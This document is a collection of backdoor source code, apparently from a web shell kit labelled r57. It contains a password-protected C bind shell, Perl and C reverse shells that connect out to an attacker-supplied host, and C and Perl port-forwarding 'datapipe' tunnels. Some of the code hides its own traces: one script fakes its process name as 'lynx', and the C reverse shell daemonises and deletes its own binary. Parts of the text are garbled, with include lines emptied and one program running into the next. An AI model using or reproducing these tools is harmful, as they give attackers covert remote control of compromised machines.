=============== port_bind_bd_c =============== #include #include #include #include #include #include int main(argc,argv) int argc; char **argv; { int sockfd, newfd; char buf[30]; struct sockaddr_in remote; if(fork() == 0) { remote.sin_family = AF_INET; remote.sin_port = htons(atoi(argv[1])); remote.sin_addr.s_addr = htonl(INADDR_ANY); sockfd = socket(AF_INET,SOCK_STREAM,0); if(!sockfd) perror("socket error"); bind(sockfd, (struct sockaddr *)&remote, 0x10); listen(sockfd, 5); while(1) { newfd=accept(sockfd,0,0); dup2(newfd,0); dup2(newfd,1); dup2(newfd,2); write(newfd,"Password:",10); read(newfd,buf,sizeof(buf)); if (!chpass(argv[2],buf)) system("echo welcome to r57 shell && /bin/bash -i"); else fprintf(stderr,"Sorry"); close(newfd); } } } int chpass(char *base, char *entered) { int i; for(i=0;i&CONN"; open STDERR,">&CONN"; exec $SHELL || die print CONN "Cant execute $SHELL\n"; close CONN; exit 0; } } ============ back_connect ============ #!/usr/bin/perl use Socket; $cmd= "lynx"; $system= 'echo "`uname -a`";echo "`id`";/bin/sh'; $0=$cmd; $target=$ARGV[0]; $port=$ARGV[1]; $iaddr=inet_aton($target) || die("Error: $!\n"); $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n"); $proto=getprotobyname('tcp'); socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n"); connect(SOCKET, $paddr) || die("Error: $!\n"); open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET"); system($system); close(STDIN); close(STDOUT); close(STDERR); ============== back_connect_c ============== #include #include #include int main(int argc, char *argv[]) { int fd; struct sockaddr_in sin; char rms[21]="rm -f "; daemon(1,0); sin.sin_family = AF_INET; sin.sin_port = htons(atoi(argv[2])); sin.sin_addr.s_addr = inet_addr(argv[1]); bzero(argv[1],strlen(argv[1])+1+strlen(argv[2])); fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ; if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) { perror("[-] connect()"); exit(0); } strcat(rms, argv[0]); system(rms); dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execl("/bin/sh","sh -i", NULL); close(fd); } ========== datapipe_c ========== #include #include #include #include #include #include #include #include #include #include #ifdef STRERROR extern char *sys_errlist[]; extern int sys_nerr; char *undef = "Undefined error"; char *strerror(error) int error; { if (error > sys_nerr) return undef; return sys_errlist[error]; } #endif main(argc, argv) int argc; char **argv; { int lsock, csock, osock; FILE *cfile; char buf[4096]; struct sockaddr_in laddr, caddr, oaddr; int caddrlen = sizeof(caddr); fd_set fdsr, fdse; struct hostent *h; struct servent *s; int nbyt; unsigned long a; unsigned short oport; if (argc != 4) { fprintf(stderr,"Usage: %s localport remoteport remotehost\n",argv[0]); return 30; } a = inet_addr(argv[3]); if (!(h = gethostbyname(argv[3])) && !(h = gethostbyaddr(&a, 4, AF_INET))) { perror(argv[3]); return 25; } oport = atol(argv[2]); laddr.sin_port = htons((unsigned short)(atol(argv[1]))); if ((lsock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket"); return 20; } laddr.sin_family = htons(AF_INET); laddr.sin_addr.s_addr = htonl(0); if (bind(lsock, &laddr, sizeof(laddr))) { perror("bind"); return 20; } if (listen(lsock, 1)) { perror("listen"); return 20; } if ((nbyt = fork()) == -1) { perror("fork"); return 20; } if (nbyt > 0) return 0; setsid(); while ((csock = accept(lsock, &caddr, &caddrlen)) != -1) { cfile = fdopen(csock,"r+"); if ((nbyt = fork()) == -1) { fprintf(cfile, "500 fork: %s\n", strerror(errno)); shutdown(csock,2); fclose(cfile); continue; } if (nbyt == 0) goto gotsock; fclose(cfile); while (waitpid(-1, NULL, WNOHANG) > 0); } return 20; gotsock: if ((osock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { fprintf(cfile, "500 socket: %s\n", strerror(errno)); goto quit1; } oaddr.sin_family = h->h_addrtype; oaddr.sin_port = htons(oport); memcpy(&oaddr.sin_addr, h->h_addr, h->h_length); if (connect(osock, &oaddr, sizeof(oaddr))) { fprintf(cfile, "500 connect: %s\n", strerror(errno)); goto quit1; } while (1) { FD_ZERO(&fdsr); FD_ZERO(&fdse); FD_SET(csock,&fdsr); FD_SET(csock,&fdse); FD_SET(osock,&fdsr); FD_SET(osock,&fdse); if (select(20, &fdsr, NULL, &fdse, NULL) == -1) { fprintf(cfile, "500 select: %s\n", strerror(errno)); goto quit2; } if (FD_ISSET(csock,&fdsr) || FD_ISSET(csock,&fdse)) { if ((nbyt = read(csock,buf,4096)) <= 0) goto quit2; if ((write(osock,buf,nbyt)) <= 0) goto quit2; } else if (FD_ISSET(osock,&fdsr) || FD_ISSET(osock,&fdse)) { if ((nbyt = read(osock,buf,4096)) <= 0) goto quit2; if ((write(csock,buf,nbyt)) <= 0) goto quit2; } } quit2: shutdown(osock,2); close(osock); quit1: fflush(cfile); shutdown(csock,2); quit0: fclose(cfile); return 0; } ============ $datapipe_pl ============ #!/usr/bin/perl use IO::Socket; use POSIX; $localport = $ARGV[0]; $host = $ARGV[1]; $port = $ARGV[2]; $daemon=1; $DIR = undef; $| = 1; if ($daemon){ $pid = fork; exit if $pid; die "$!" unless defined($pid); POSIX::setsid() or die "$!"; } %o = ('port' => $localport,'toport' => $port,'tohost' => $host); $ah = IO::Socket::INET->new('LocalPort' => $localport,'Reuse' => 1,'Listen' => 10) || die "$!"; $SIG{'CHLD'} = 'IGNORE'; $num = 0; while (1) { $ch = $ah->accept(); if (!$ch) { print STDERR "$!\n"; next; } ++$num; $pid = fork(); if (!defined($pid)) { print STDERR "$!\n"; } elsif ($pid == 0) { $ah->close(); Run(\%o, $ch, $num); } else { $ch->close(); } } sub Run { my($o, $ch, $num) = @_; my $th = IO::Socket::INET->new('PeerAddr' => $o->{'tohost'},'PeerPort' => $o->{'toport'}); if (!$th) { exit 0; } my $fh; if ($o->{'dir'}) { $fh = Symbol::gensym(); open($fh, ">$o->{'dir'}/tunnel$num.log") or die "$!"; } $ch->autoflush(); $th->autoflush(); while ($ch || $th) { my $rin = ""; vec($rin, fileno($ch), 1) = 1 if $ch; vec($rin, fileno($th), 1) = 1 if $th; my($rout, $eout); select($rout = $rin, undef, $eout = $rin, 120); if (!$rout && !$eout) {} my $cbuffer = ""; my $tbuffer = ""; if ($ch && (vec($eout, fileno($ch), 1) || vec($rout, fileno($ch), 1))) { my $result = sysread($ch, $tbuffer, 1024); if (!defined($result)) { print STDERR "$!\n"; exit 0; } if ($result == 0) { exit 0; } } if ($th && (vec($eout, fileno($th), 1) || vec($rout, fileno($th), 1))) { my $result = sysread($th, $cbuffer, 1024); if (!defined($result)) { print STDERR "$!\n"; exit 0; } if ($result == 0) {exit 0;} } if ($fh && $tbuffer) {(print $fh $tbuffer);} while (my $len = length($tbuffer)) { my $res = syswrite($th, $tbuffer, $len); if ($res > 0) {$tbuffer = substr($tbuffer, $res);} else {print STDERR "$!\n";} } while (my $len = length($cbuffer)) { my $res = syswrite($ch, $cbuffer, $len); if ($res > 0) {$cbuffer = substr($cbuffer, $res);} else {print STDERR "$!\n";} }}}